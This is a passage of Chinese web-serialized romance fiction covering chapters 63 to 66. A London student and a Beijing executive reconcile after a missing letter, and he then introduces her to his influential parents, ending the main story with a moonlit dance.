这时候秦拂清忽然质问一句:“二层的侍者呢?没有帮忙的?” 服务员紧张回答:“今天来了一批新客,五层以下的侍者都去陪客人了,人手不够,很抱歉。” 他微微点头,不动声色地在女孩身上打量一圈,没再说什么,端起酒杯就准备离开。 “等、等一下。”钟缊酌蓦地喊出声。 男人的身影停住。 她咬了下嘴唇,缓缓走上前,“那个,你送我的项链,有机会还是还给你吧。这么贵重的东西,总留在我那也不合适。” 秦拂清回身,不可思议地看了她一眼。 像是听到了多么荒唐的一个事儿。 都开始归还旧物了,所以她这是打算完全跟他撇清关系了?是想要分手的前奏? 秦拂清眼前发晕,喘着粗气,咬牙切齿地缓了半天。 他定定看着她,话音里带出一股子冷嘲热讽的劲儿: “不会说话就别说。” “没一句爱听的。” 作者有话说:评论区掉落红包~ 第64章 包厢内, 一阵幽潭木质的香调,也不知是来自那上好紫檀木桌椅,还是椅子上的那个人。 秦拂清单手撑着太阳穴,桌上的那杯马天尼几乎没动, 而这杯酒的主人刚从外面打电话回来。 他换了个坐姿, 斜睨来人一眼, “费尽心思做了个这么大的局,真难为你了。” “你在说什么。”谈勉扯唇笑笑,“今天不是跟庄总定好来谈合作的吗?” “就那么几分钟的功夫,特意把我支出去给你点酒,是生怕我遇不上她啊。” 秦拂清丝毫不遮掩, 单刀直入,“叫她来唱歌也是你跟宋黎若计划好的吧?然后呢, 还打算怎么做?” 谈勉正绞尽脑汁在想怎么应对时,庄临跟陈主任已经走了进来。 他长舒一口气, “庄总,怎么样, 要不要去嚎两嗓子?” 既然事情已经败露, 谈勉也不打算装了。 庄临乐呵呵道:“可以啊,好久没唱了, 想当年我也是个麦霸来着。欸对了, 小陈, 你不说上学时也拿过唱歌的奖吗?今天让咱见识一下水平。” 陈静也不扭捏, 大方表示没问题, 一会儿她来负责开场。 “庄总,还有个事儿。”谈勉趁机吆喝,“我女朋友也来这边玩了, 能否让她跟闺蜜一起来凑个热闹?” “好说,咱们确实人少点儿。”庄临看向坐在木椅上静静听他们交谈的那位,像是怕他不乐意,“秦总,你意下如何?” 秦拂清轻抬眉骨,笑说:“我敢有意见么?” 庄临没听出他话里有话,只当是开了一句玩笑。 就在十分钟前,另一边的场子刚散,钟缊酌却被宋黎若拉着愣没让走。 “咱们还有下一场呢。” “什么下一场啊?”钟缊酌没懂。 宋黎若盯着手机“嘘”了声,“别急,我在等那边消息” 再之后,等钟缊酌反应过来时,她已经跟着宋黎若来到了一间更大的KTV包厢内。 而眼前这张超豪华沙发对面,坐着两个熟人和两个陌生人。 钟缊酌屏气凝神,咬牙低语,“你有完没完” “我这不是想帮你嘛。” “你不是在帮我,是在害我。” 陈静已经点好了歌,面对几位领导和不认识的新朋友,她一点儿也不怯场,站起来做了个简单的开场白,放开嗓子就开始唱。 到底是得过奖项的,她的水平显然要比钟缊酌她们那种业余人士要高出很多。 这种情景下,角落里的两个小姑娘自然不愿露头,只想安安静静当个观众负责鼓掌。 一个小时的歌曲PK,几乎都是陈静和庄总在唱,谈勉唱了一首后也歇下了,拿起面前的饮料灌了几口。 今天这场局,是宋黎若给他布置的任务,可如今看来,似乎作用也不大。 他的手机屏幕亮起,谈勉拿起来一看—— RIO宝贝:【缊酌最喜欢的一首歌是周慧敏的最爱,你懂的吧。】 他冲她比了个OK的手势。 包厢里柔和迷离的灯光相互辉映交织,在每个人的脸上撒下斑驳碎影,唯有那个男人百无聊赖地溺在一片黑暗里。 钟缊酌目光几次扫过去,却始终看不清他的表情。 庄临又一曲结束,这时候谈勉主动站起来拿过话筒:“秦总还一直没唱呢,我们不能放过他,是不是啊庄总。” “你瞧我这麦霸瘾一上来,差点儿忘了这茬,快让秦总来两首。” 合作方提出要求,秦拂清没办法拒绝。 他把腿放下,微微欠了欠身子,作势接过话筒。 而没等他开口,谈勉这边已经帮忙点好了歌曲。 是一首很老也很经典的粤语歌。 “怎么是女歌手的呀,秦总会唱吗?”陈静纳闷问一句。 秦拂清撇过去一眼,心里也立即门清了。 那时候坐他的车,小姑娘常爱放的一首。 他下意识看向旁边,和另一道目光在空中交汇,像是被烫到一般,钟缊酌瞬间低下了头。 “会的,秦总粤语说得很好,这些经典的歌都会唱。”谈勉笑着解释。 曲目前奏已经开始,钟缊酌紧张得不得了,两只手不停在摆弄扣子,可等那声清润低沉的嗓音一出来,她几乎忘记了呼吸。 她从来没听过他唱歌,也从来不知道他的歌会唱得这么好听。 平时只觉得他说话声音好听,尤其在她耳边说着情话时,清沉醇厚,低哑婉转,像是有股电流钻进体内。每次钟缊酌都控制不住地回吻他,去和他缠绵在一起。 “潮汐退和涨,月冷风和霜,夜雨的狂想,野花的微香,伴我星夜里幻想” 钟缊酌忍不住在想,如果她今天是和他第一次见面,两人没有发生过那么多混乱的过去,恐怕又要被这个男人迷住了吧。 不只是嗓音迷人,他身上那股由阅历带来的厚重感,沉稳而儒雅的气场,将这一首歌里的韵味诠释得淋漓尽致。 尾音结束的一刹那,大家都情不自禁鼓起了掌。 庄临说:“秦总藏得真深啊,有这个唱功还不肯多来几首。” “年纪大了,肺活量跟不上,您先来,我歇息片刻。” 这话也就糊弄外人去了,钟缊酌心说,在床上那会儿你肺活量可没跟不上过。 庄临刚拿过话筒,忽然想起什么似的,“欸,这俩小姑娘还没唱过呢是不?来来给你们。” 钟缊酌没接,直接站起身,礼貌表示:“可以让谈总和若若来合唱一首,我去个卫生间,实在抱歉。” 她现在和秦拂清没什么关系,也不需要去刻意帮他维护客户的面子。 她不想唱,就找个借口走掉好了。 屋子里的另外两人倒是配合,直接点了一首情侣歌。只是一直惴惴不安地,不敢看角落里那个男人的表情。 卫生间的镜子前,倒映出钟缊酌那张沧桑颓丧的面容。 眼神无光,嘴唇干裂,才过去半年,怎么就变成这副人不人鬼不鬼的样子了。 失恋而已嘛,也不是什么大不了的事。 她以后还要好好念书,好好工作,多赚些钱,帮父母分担压力。 人活着可以不谈恋爱,但不能不吃饭 最后,她给宋黎若发过去一条信息:【若若,我身体不太舒服,就直接回家了,也麻烦你跟谈勉解释一下吧,谢谢了】- 两周的假期让钟缊酌大脑得到了短暂的放松,但一回到学校,又很快被成堆的作业和书本湮没。 林嘉熙给她分享了一个好消息,说上周和那位crush约会时已经互表心意在一起了。 “恭喜恭喜,还不请我吃顿饭呀。” 钟缊酌本来是开玩笑说的,没想到林嘉熙还认真了起来。 “可以呀,我们正有此意。” “你们?” “嗯,我跟他说了你一直帮我的事,我俩就商量着该请你吃饭呢。” 最近被课业压得喘不过气,趁此机会放松一下也好。 钟缊酌应下来,“成,那我就恭敬不如从命了。” 吃饭那天正好赶上除夕夜,也算是跟同胞们吃了一顿团圆饭。 林嘉熙的这位男友叫李翊,个子很高,戴一副金丝眼镜,斯斯文文的。 他选的这家是地中海fusion餐厅,装修风格很有格调。 做完自我介绍,李翊很绅士地把菜单递给两个姑娘,说放开了点,今天他做东。 “我刚刚看到这条街的名字叫贝克街,是福尔摩斯里面那个贝克街吗?”钟缊酌好奇问。 “嗯,没错。”李翊指着窗户外斜对面的方向,“看那边,221B,正是小说里那位大侦探住的地方。” “哇。”钟缊酌颇感神奇,那种感觉就好像,书中的人物跨越过次元,真的来到了她们活生生的现实世界里。 林嘉熙提议:“咱们吃完饭去那边逛逛吧,我一定要拍照打卡。” “好主意。” 钟缊酌吃着眼前的烤章鱼腿时,又听李翊说,明天是大年初一,很多地方都有庆祝春节的活动,问她们要不要来参加。 “伦敦也会庆祝中国的春节吗?”林嘉熙微微惊讶道。 “当然,而且现在不仅是华人,当地政府和民众都会参与进来,相当热闹。” 钟缊酌点头,“我听说过,我们可以去看看,应该蛮有意思的。” 看她们挺感兴趣,李翊吃完那盘小龙虾意面,主动查了下信息。 “早上开始有舞龙舞狮表演,从特拉法加广场东侧出发,沿查令十字路穿梭至唐人街。除此之外,还有民乐和少林武术表演,传统美食品尝” 他正津津有味地讲述着,没注意端着托盘走过来的服务员,一抬手不小心碰洒了一杯果汁。 红色的液体溅到了他的白衬衫上,服务员赶忙拿来湿毛巾帮他擦,可作用微乎其微。 “算了,回去拿到洗衣店洗吧,估计自己弄不干净。”李翊耸耸肩,“不过幸好不是在考试周,不然完蛋了。” 林嘉熙问了一句为什么。 而没等李翊解释,钟缊酌便脱口而出:“因为牛津有个校规,考试时必须穿学院服对不对?也就是你这件白衬衫,外面再加个黑袍。” 这下对面两人的目光同时看过来,惊诧道:“你怎么知道?” 钟缊酌这才意识到自己不该多话。 她顿了顿,声音很轻地回答:“我之前认识的一个朋友也在牛津读过研,他告诉我的。” “也是京市人吗?” “嗯。” 李翊喝了口服务员重新送来的果汁,抿抿唇,“叫什么名字啊,或许认识呢。” “秦拂清,他比你大很多届,应该不会认识。”钟缊酌喃喃道。 只见李翊微微拧起眉,似乎是在回忆什么,“确实不是熟人,但这个名字我好像有印象” “等等,是不是社会学系的那位大神?”他神色飞扬道。 钟缊酌点头,“他是这个专业。” 李翊一副神秘兮兮地模样,“我记得舍友讲过有关他的一段八卦,你想不想听听?” 林嘉熙兴奋地催促:“快说快说,我想听。” 人就是这样,不管书念到什么级别,对八卦一类的事物总是显露出无比热忱。 钟缊酌没思虑太多,只“嗯”一声,“什么八卦啊。” “听说他读研的那一年,有一个同校的本科学妹追求他。那个学妹也算是挺有名气,长得漂亮,家里人在外交部工作,大家都觉得多郎才女貌的一对,结果学妹追了俩月人家愣是不同意。最后呢,这位大神给了她一个回复,你们猜猜他怎么说的?” 李翊滔滔不绝地讲着,完全没注意到对面女孩的脸色产生了细微的变化。 旁边的林嘉熙抢答:“性格不合适?学业忙没空谈恋爱?” “都不是,他说他啊,喜欢年纪大一点的熟女,不喜欢小屁孩呢。” 作者有话说:评论区掉落红包~ 第65章 来帝国理工念书的这段日子, 最让钟缊酌头疼的就是小组作业。 她本身是个喜欢独立处理问题的性子,跟别人合作效率会大打折扣,再加上合作对象还是老外,她一边要克服文化差异带来的思考方式差异, 还要忍受部分白人的种族歧视。 有一次, 钟缊酌未及时找到合适的组员, 好不容易鼓起勇气问了几个人,明明没满员的情况她们却说满员了。 这让钟缊酌难受了好一阵子。 后来,有位从小生活在英国的华人同学告诉她。 其实有时候她们也不是歧视,只是因为觉得她英语水平可能不行,沟通起来比较困难, 影响作业成绩。 从那时候起,钟缊酌每天都会抽出时间默默努力练习口语。 直到看到明显进步, 她受到的拒绝也越来越少。 这一刻,她真真能体会到那句话了——只有当你足够强大时, 才能感受到越来越多的善意。 学校今年的冬季舞会是在自然博物馆举办。 林嘉熙老早就准备好了裙子,每天晚上在宿舍里对着镜子练习舞步, 在问起钟缊酌时, 她说不打算去参加了。 林嘉熙停下脚步,回身望她, “这可是很难得的体验, 多可惜呀。” 钟缊酌托着腮, 眼神空洞, “你有固定舞伴, 我跟谁跳呢?” “去现场结交一个不就好了。” 钟缊酌最后还是没去。 在这样一个热热闹闹的夜晚,她独自来到自习室,继续啃那些逻辑结构复杂, 规模庞大的计算机代码。 最近的课业任务,除了完成每周的Lab和Coursework,还要去参加黑客松——即一种编程马拉松活动。 钟缊酌每天几乎连轴转,这样昏天暗地的日子一直持续了半个月。 周五的晚上,钟缊酌照例抱着那本代码分布式算法来到自习室。 “Elowen,今天我先回去啦,一会儿有约会。”林嘉熙说。 “嗯,玩得开心。” “你也别太晚,注意身体。” 她这样说,是因为看到她越来越重的黑眼圈,着实太凄惨。 林嘉熙现在在谈恋爱,还会稍微注意下形象,这姑娘算是完全豁出去了。 晚冬的雾气来得更重,空气里到处弥漫着湿漉漉的水汽。 钟缊酌从自习室里出来时,已是夜里十点。 眼前的景物如梦一样的朦胧,路灯散发出微弱而暧昧的光。 只是在这一片朦胧暮色中,她竟然远远地望见了一个似曾相识的身影。 一定是错觉。 钟缊酌都能想象出,他这会儿大概还在京市那座耸入云霄的办公楼里,披星戴月地伏在案桌上审批文件。 所以,那应该只是某个身形和他很像的男生罢了。 凉气袭入脖颈,她移开视线,裹紧大衣,继续往台阶下走。 却在余光中瞥见对面那人也在慢慢向她走来。 钟缊酌蓦地抬头。 穿过一层薄雾,暖黄的灯光打在他脸上,钟缊酌看清了男人的样子。 深邃而冷峻的眉眼,气质朗若清风。 即便认识了那么久,钟缊酌仍然不得不承认,他是一个很有型的男人。 钟缊酌心口一紧。 他为什么会来这里?工作需要还是拜访朋友? 但无论是何原因,现在也和她无关了。 钟缊酌咬了咬牙,转过身准备离开。 然而一双手忽而从背后伸出,一把将她揽入怀中。钟缊酌大惊,奋力挣扎,“你做什么?” “为什么装作不认识我,嗯?” 秦拂清力气大她很多,她挣不开,只能气恼地偏过头,“我们现在已经没什么关系了,还有打招呼的必要吗?” 短暂的沉默,秦拂清忽然捏过她的下巴,用力吻了上去。 湿润滚烫的气息封住了所有感官,她大脑开始缺氧,双腿发软,伴随着混沌的雾气,整个人如同坠入幻境,一动也不能动。 “秦先生,请自重——” 她呜咽着发出的警告,只换来更深入的唇齿交缠。 男人停下来时,她已站不稳,被他牢牢桎梏在怀里。 秦拂清沉润的嗓音坠入耳畔:“你叫我什么?我说过要分手了吗?” 钟缊酌喘着气,脑中混乱不堪。 她狠狠在他手背上咬了一口,秦拂清疼得“嘶”了声,却没松开。 “那你为什么这么长时间都不理我,我之前给你发信息,打电话,你都不接,也不回,你一直在冷暴力我。”钟缊酌说着说着眼泪就忍不住要往下流。 “对不起,你把我气成那样,我总得花时间让自己冷静下来。”秦拂清一边给她擦眼泪,一边解释,“我既然也害你难受这么久,现在算扯平了行不行?” 钟缊酌摇头,“不行,我觉得你就是想耍我,过段时间你定又要抛下我对不对?” 秦拂清也快气笑了:“我有那么坏吗?再说,我这样做对自己能有什么好处。” 他看她撅着嘴不肯说话,又一本正经道:“我发誓,我是真心想跟你和好,否则我回去立马就倾家荡产。” 他拽着她的手往自己身上捶,“你打我吧,一直打到气消了为止。” 钟缊酌抽出那只手,别过脸,没理他。 过了会儿,她才把心里那些委屈全部压下,慢慢转过身来,上下打量他一圈:“你怎么来的,不是出不了国吗?” “嗯,我偷渡来的。”秦拂清笑吟吟地说。 “这个时候还有心思开玩笑,一点正形没有。” 秦拂清叹气,“其实很早就在申请签证了,一直没批下来,到这个月初才拿到。” 钟缊酌瞪大眼:“你早就想和好了是不是?那为什么我上次回国你还用那种态度对我。” “你对我态度也不好啊,还说什么要把项链还给我,你是想气死我不成。” 钟缊酌一跺脚,“你一直不回我消息,我以为你想跟我分手了呀。” 秦拂清无奈表示,“你突然回来我也是没预料到,打了个措手不及,再加上当时那么多人在场,我没办法好好跟你谈。” “那你怎么不给我打电话谈?” “看你的样子也气得不轻,不当面说我心里没底。” 钟缊酌再也忍不住了,几拳下来直往他身上招呼:“你就是故意的,你故意让我憋屈,让我难受,你在报复我。” 秦拂清站着不动让她打,直到杵到胸口那几下,他忍不住呻吟了一声。 这段时间一直熬夜,心脏实在脆弱,胸口时不时地就隐隐发痛。 “怎么了?我、我没太用力。”钟缊酌看出不对劲,“是生病了吗?” 即便这个时候,她还是会下意识地去关心他的身体。 秦拂清却没回答,稍稍喘口气,拉过她的手搓了搓,“冷不冷啊,穿这么点儿,出了国也不知道好好照顾自己。” “不冷,都已经习惯了。” 他看向街对面的方向,“我的车在那边,去车上坐会儿好不好?” 钟缊酌咬了下嘴唇,迟疑着点点头。 直到浑身暖和下来,双手在男人怀里捂着,重新恢复了温度,钟缊酌还顿感恍惚。 她是不是在做梦?秦拂清真的来伦敦找她了,还亲口跟她说想要复合。 她不敢相信似的紧紧盯着他的脸。好像只要稍微一错神,他就会消失不见。 “我想过了,之前我总是纠结你爱不爱我,你到底对我有几分感情,我觉得不公平,我明明那么爱你,可是现在我已经不在乎了。” 秦拂清声音很轻也很温柔,好像卸去了所有枷锁,所有身份。 “一旦计较得失,这份感情就不再纯洁。所以,哪怕你对我只有一分的爱,我对你的爱也不会因此减少,毕竟我爱你这件事本身就和你爱不爱我无关。” 钟缊酌眼眶又要红了,他在说什么乱七八糟的蠢话,她怎么会不爱他?她这辈子也只能爱上他了。 “你真是要气死我,你知不知道我离开以后每天都在想你,我对自己说失恋也没什么大不了的,可没过几天又被打回原形。我把自己的时间拼命用功课塞满才能暂时忘记痛苦,一旦清闲下来,我的脑子里就全是你的样子,我怎么可能不爱你。” 钟缊酌抚摸着他手上的那道咬痕,“我把对你的感情全部写在了那封信里,你为什么就是不肯相信我?” 钟缊酌以为他又要解释什么原因,结果他却说:“信,什么信?” 她惶然抬起头,呆呆地愣了片刻。 “你不知道?你怎么会不知道。” “难道你没有收到?” 秦拂清也反应了过来,“你给我写信了吗?” “是呀,我怕发信息显得不够正式不够用心,就特意给你写了封信。我寄到你单位了,不应该收不到啊。” 秦拂清一下子笑了,摸着她的头说:“你知不知道我每天要收多少份信件。那些要不到我私人联系方式的,都会写信寄到单位,什么项目书啊活动邀请函啊杂志啊,我不可能全部拆开看的,办公室里放了一堆,传达室里也堆着不少呢。” 钟缊酌瞬间傻眼了,怎么会这样。 所以他根本没有看到那封信,这么久以来,是她一直在跟自己内耗,在胡思乱想。 她真是个十足的傻瓜。 “那你现在能给我讲讲吗,你到底给我写了什么呢?”秦拂清逗着她。 钟缊酌脸上一红,“这怎么好意思当面说出来,你自己回去看呀。” 秦拂清将人搂过来,下巴抵在她额头上,“不管怎样,我现在知道了,你对我的感情有多深。” “其实来的路上我也一直在想,不断地找借口晾着你到现在,也许还是那点气性没完全消散。但是今天一见到你,我心里就开始后悔了,后悔没有早点跟你讲清楚,让你痛苦这么久。” 钟缊酌闻着他身上的木质香调,心脏最深处软了下来,轻声低喃,“也不必这样自责,是我气你在先。” “说起来,你又是何苦如此。”秦拂清俯身落下一个吻,“我送你的那条翡翠项链材质可是帝王紫,价格相当于你留学费用的五倍了。” 他轻描淡写的一句话,却让钟缊酌呼吸几乎停滞- 秦拂清的签证有效期只有三天,次日缊酌陪着他去逛了牛津,他便给她讲述上学时的那些趣事。 这时候缊酌忽然想起来,他还有重量级八卦在身呢,怎么只字不提? 她将手抵在唇边咳嗽一下,“听说那会儿有位漂亮学妹追了你很久,你跟人家说喜欢熟女,对小屁孩不感兴趣对不对?” “你又听谁说的啊。”秦拂清无奈哼了声,“那都是为了搪塞胡乱讲的,我毕业论文成绩破了几年留学生最高记录怎么没人记得,净传这些无聊的风流韵事儿。” “你不会连这种醋都吃吧?还是说以为我喜欢熟女,不喜欢你这样年纪小的?” 钟缊酌偏头去看对面的叹息桥,没理他。 秦拂清厚着脸皮凑到她耳边说了句:“其实呢,在遇见你之前我没有固定的喜欢类型,在遇见你之后就喜欢你这样的。” “油嘴滑舌。” 回京之后,秦拂清来到集团做的第一件事就是让季昌把所有信件翻了个遍,要求务必找到从伦敦寄来的那一封。 那天的阳光分外明媚,透过玻璃窗轻柔地落在沙发上,秦拂清就坐在那金色光影里,读着小姑娘给他写的信。 隽秀的笔迹里流露出浓浓的情意,这封信的后劲太大,他一直缓坐了许久。 原来她不是在自己表白之后才动的心,她从那么早开始就在意他了,原来她一直在默默关注着他。 是他没有给她足够的安全感,还要反过来怪她不肯跟自己结婚。 他才是真的混蛋。 那一天,秦拂清做了一个长这么大以来,从没如此冲动过的决定。 他想等缊酌毕业回来后,就要带她去和父母正式见面。 作者有话说:评论区掉落红包~【..top】 【完结+番外】 第66章 留学的后半年, 对钟缊酌来说,是既开心又痛苦的一段时光。 开心的是她与秦拂清重新和好,心里最重的那块石头终于落了地。 痛苦的是课业越来越繁重,除了学术研究, 还有和名企合作的各种实践项目。 他们没办法见面, 只能抽时间打视频。 只不过这一次两人反了过来, 是秦拂清要等钟缊酌有空时,再给她打过来。 “我的小姑娘是真的长大了,以后要追着你屁股后面跑了。”秦拂清笑着调侃。 钟缊酌一本正经道:“跟大神比还是有差距的,我马上要着手准备毕业论文,大神要不要帮忙指导一下?” “计算机专业我可不会, 这里面也只有英语能勉强教教你。” 末了,秦拂清又特意补充一句, “我的英语水平可不比吴少维差。” 都过去多久了,还记着这茬儿呢。 钟缊酌无奈撇嘴, “已经晚了,我现在英语练的可好了, 不信你听听。” 她用标准的伦敦腔, 给他念了一段英文诗。 秦拂清就坐在对面瞧着她,嘴角挂着一抹若有似无的笑。说诗韵没听出来, 倒听出股睥睨一世的女王范儿。 在经历过毕设的折磨, 结业典礼的隆重震撼, 和舍友林嘉熙几分不舍的告别之后, 钟缊酌于八月底回了国。 从出发那天算起, 她也恰好离开了整整一年的时间。 秦拂清来机场接她,小姑娘行李箱都顾不上了,直接往旁边一扔, 飞奔过来扑进他怀里。 脑袋使劲儿蹭了蹭,满脸幸福的样子:“好久没有闻你身上的味道了,好怀念啊。” “以后天天让你闻。”秦拂清搂着她说。 钟缊酌就纳闷地抬起头,“你工作不忙了吗?哪儿能天天见面啊。” “比去年强多了,起码也算坐稳了这个位置,能腾出一些时间来陪你。” 回国后的几天,沉浸在爱情暖洋里的钟缊酌,同时也得到了另外一个好消息。 她这段时间投递的几家央国企里,已经成功通过了三家的初审,都是她心仪的大数据岗位。 但钟缊酌没来得及高兴太久,秦拂清就拉住她的手,郑重地跟她讲:“缊酌,我想带你去见见我父母,好吗?” “现在?”她惊恐地睁大眼,“可是我还没准备好啊,我会很紧张。” “你不需要准备什么,我来打理好一切。” 钟缊酌自然是相信他的,他从来不骗她。 可她还是忍不住地感到心里发慌。 “秦拂清,你真的想好了吗” “想好了,我从和你在一起的那天开始就想得很清楚。”秦拂清说,“我父母是最后一道坎儿,我不想再等了,我也不想再让你这样遥遥无期地等下去。” 钟缊酌抿了下唇,这一次她没有迟疑不决,也没有瞻前顾后,弯起眼睛道:“那好。” 九月八日这一天,逢白露。 孟秋结束,仲秋开始。 夜里温度降低,秦拂清只穿了件衬衫出来。穿过内院时,一阵寒气陡然吸入肺里,令他忍不住打了个寒颤。 书房的灯还亮着,秦拂清站在走廊里,抬手敲响了那道门。 秦政庭喊了声“进”。 “这么晚了还来找我,想必不是什么小事儿。” 当官当久了,在哪里都得摆出那副颐指气使的架子,秦拂清也算是习惯了。 他看了眼父亲刚写完的毛笔字,是出自《高唐赋》里的一句话: 徙靡澹淡,随波闇蔼。 释义为枝叶随风摇荡,随着水波荡漾起伏。 “很有意境的描写,只是笔锋过于凌厉,失去了词中所表达的柔韧感。” 秦政庭赞同道:“说得不错,看来你这几年审美也练出来了。” 秦拂清没因这句表扬表现出半点儿喜悦,透着肃穆的一张脸微微凛了凛:“爸,我今天来找您是想跟您说,我交女朋友了,想有空带家里来吃顿饭。” 空气沉寂一瞬。 秦政庭问:“哪儿家的姑娘?” 他一五一十地回答:“姓钟,不是什么高门大户,普通人家。” 秦政庭下颚动了动,继续问:“交往多久了?” 秦拂清说:“两年。” “两年。”秦政庭冷笑了下,突然转过身,一脚将那把太师椅踹倒,书房里随之发出木头撞击地面的巨大声响。 这一声响惊动了隔壁茶室里的廖霖。 他着急燎火地跑进来,被眼前的情景吓一大跳。 只见那把老爷珍爱的太师椅歪倒着躺在地上,旁边的两人面对着面,剑拔弩张地,脸色是相当难看。 秦政庭喘着粗气,冲他吩咐:“把后院儿库房里那根木杖拿来!” 那可是直径五厘米的一根红木木杖,祖上太爷爷走之前用作拐杖的,据说老爷小时候淘气还被它打过后背,后来扔进仓库再也没人动过。 尽管心疼公子,但廖霖不敢违抗命令,哆哆嗦嗦地说了句“是”,便消失在暮色里。 他经过正房时,还是忍不住向正在跟伍姨聊天的袁书礼汇报一声: “夫人,老爷和公子在书房吵架了,正要拿木杖教训他呢,您快去看看吧!” 袁书礼一听这话,顿时脸色大变。 跟廖霖叮嘱几句后,也顾不得聊天了,急匆匆地赶到事发地。 “我瞧瞧,这是要做什么?” 她一脚迈进门内,打量一圈两人,直接往沙发上一坐,拿腔拿调地开始输出,“怎么了这是,能把亲爹气成这样。” 秦政庭背着双手,眼里怒火中烧:“你让他自己说!” 另一边的秦拂清不紧不慢地,又把事情原封不动讲了一遍。 “其实您也见过她,就是之前在上海偶遇时跟我一起的那个姑娘。” “嗐,我就说当时总觉着不对劲儿,你这小子,把你老妈都给糊弄过去了。” 袁书礼又面向秦政庭数落起来,“你也是,多大点事儿啊,那家法多长时间不用了?都是些封建糟粕。先坐下喝口茶,消消气。” 袁书礼冲秦拂清使了个眼色,“还不给你爸敬杯茶。” 秦政庭是清楚自己儿子脾气的。 若是一时上头,倒也好说,背后耍个手段,态度坚决一点,也翻不出什么浪花来。可如今他来个先斩后奏,瞒了这么久,明显是动了真心,他再做什么也是徒劳。 并且,他也知道自己了解这些,他是故意全盘托出,就是在表明态度。他已下定决心跟这姑娘在一起,你们不要费心思阻拦,没有意义。 本是一层套一层的较量,结果直接被他一招全部打出来将他的军,秦政庭整个肺都要气炸。 但眼下碍于夫人的面子,他还是喝下了这口茶。 “这周末我跟你爸有时间,带家里来吃顿饭吧。既然是你自己中意的姑娘,我们也相信你的眼光,以后别让家里人失望就好。” 秦拂清轻轻点头:“我知道了。” 袁书礼扶起秦政庭的胳膊,“回屋睡觉去了,明天你不是还要早起开组织会。” 她又跟门外守候的廖霖嘱咐:“老廖,给老爷热一碗助眠汤吧。” “好嘞。” 秦政庭前脚一离开,袁书礼二话不说,回头就给自己儿子脑袋上拍了一掌。 秦拂清不怒反笑,“其实您早就知道了是不是?” “你啊你,非得这个时候跟他说,等事业上做出点成绩来,再找他邀功时道出不就能少挨些骂?” “我们等不了了。”秦拂清面色平静地解释,“最近发生不少状况,我不想再生出别的变故。” “你做事向来沉稳,怎么在感情上就耐不住气了?今天若不是我拦下他,等你后背皮开肉绽的时候看你还说不说得出来这些话。” 他看到袁书礼在那儿独自叹气,默了默,又开口道:“不管怎样,还是谢谢您,一直帮我瞒着这事。” 临走前,袁书礼语重心长地跟他讲了一段话。 “我不是要任由你乱来,只是你要知道,夫妻两人过日子,背后那些名头都是虚的,日子是一天天过出来的,还是要找个称心如意的爱人这辈子才有乐趣。”- 去秦拂清家里拜访的那一天,钟缊酌紧张得要命,甚至特意买好了一套正式的礼裙来穿。 上半身是白色纱质披肩,自然垂落下来,披肩两端带有细长飘带。下面裙子是纯黑色,长度一直落到脚踝,整个礼裙看上去既优雅又端庄。 连秦拂清都忍不住在她身上打量了好几眼。 “你别盯着我看了,我都快紧张死了。”钟缊酌埋怨道。 “怕什么,他们又不会吃了你。” 和钟缊酌印象里的传统陈旧胡同不同,这条胡同非常干净且宽敞,基本看不到行人。秦拂清一直把车子开到一座古朴典雅的四合院前。 厚重的青色墙砖,墙顶上飞檐翘角,朱红色的大门,檐下山水彩绘绚丽夺目,门口两侧矗立着方形的抱鼓石。 这一切都在预示着,眼前这户人家不同寻常的背景。 钟缊酌深吸一口气,由秦拂清领着进入院内。 正对着廊道的尽头,是一道花开富贵影壁,左拐穿过宫式门,来到前院。 让钟缊酌更加惊讶的是,这竟然是座三进四合院。秦拂清带着她又穿过一道垂花门,才终于来到正厅。 袁书礼正在喝茶,见到两人,笑着起身来迎:“盼了好一会儿了,终于等来了。” “是,路上堵车来着,比预计晚了半小时。”秦拂清解释说。 她叫缊酌走近些,眉眼也跟着弯起,“上次没瞧清楚,还真是个温婉秀丽的姑娘。” “伯母谬赞了。”钟缊酌脸颊红了红。 袁书礼又吩咐人去泡壶新茶,三人坐着聊了些家长里短,伍钰过来说晚饭备好了,让大家移步耳房。 直到饭菜全部上齐后,钟缊酌才终于见到款款而来的秦政庭。 他穿一件板正的中山装,双手背后。他比她想象得更威严,气场更要强大,钟缊酌几乎能感觉到自己整个身子都在发抖。 但她现在已经不再是那个遇事则方寸大乱的小女孩了。 钟缊酌强迫自己镇定下来,礼貌打了声招呼:“伯父好。” 秦政庭只是微微点头,并未说什么。 这顿饭吃得说不上多舒服,毕竟她一直很忐忑,生怕自己一不小心做错什么事,说错什么话,给长辈留下一个不好的印象。 不过好在两位长辈并未为难她,伯父那边始终保持着沉默高冷的模样,而伯母还时不时会跟她聊上几句,语气也很温和。 撂下碗筷,秦拂清主动提出送女友回家。 “等一下。”就在两人辞别后,准备出门的一刹那,秦政庭忽然出声喊住他,“到庭院里来,有话跟你说。” 秦拂清看了眼旁边的姑娘,钟缊酌立马懂事地表示,不着急,她可以先到外面等。 高墙笼罩下的院内,静谧无声,一阵晚风拂过,无数的草叶树叶相互碰撞发出唰啦啦的声音。 秦政庭站在半明半暗的暮色里,对自己的儿子说:“你若想跟她结婚,我不阻拦,但你记住了,你以后工作上不管出现任何问题,我都不会再给你兜底。你的路你自己走,也别后悔说来找我。” 秦政庭以为他至少会考虑一下,没想到秦拂清只是很轻地说了句:“好。” 自此以后,他每走的一步,都更要小心翼翼更要如履薄冰。 但为了这份感情,他觉得值得。 钟缊酌担心坏了,一路都在问,她表现得怎么样,他父母对她什么印象,伯父最后和他说了些什么。 秦拂清笑着安慰:“挺好的,其实你今天来就是走个过场,我已经跟他们提前沟通好了,他们也明确表示同意我们结婚。” “真的吗?” “真的。”他说。 车子行驶到东四街大院时,天已经完全黑了下来。 钟缊酌却没让他走,拉着他下了车,来到路边的石凳旁。 “做什么?”秦拂清纳闷问。 “秦拂清。”钟缊酌面冲着他,那清盈的眸色里闪着光,比天上的星星还要亮,“我能请你跳支舞吗?” “跳舞?就在这儿啊。” “嗯,可以吗?” 秦拂清望了望周围,他长这么大还没做过这么丢人的事儿,莫名觉得还挺刺激。 钟缊酌拿出手机放了首民国时期的古典歌曲,调大音量后放在石凳上,歌曲的名字叫月圆花好。 柔婉的歌声清晰传入耳中,和在古玩馆那时一样,带着一股靡靡之音。 人生如烟云它匆匆过呀 要好好地去珍惜 时光它永远不停息把我们年华都带去 天上的风云它多变幻 唯有情义地久天长 “准备好了吗?秦先生。” 秦拂清眉眼含笑:“准备好了,钟小姐。” 这一次是她引导着他来跳。 她转着圈,欢快地旋绕在他周围,他们在月光下共舞,拥抱,接吻。 —正文完— 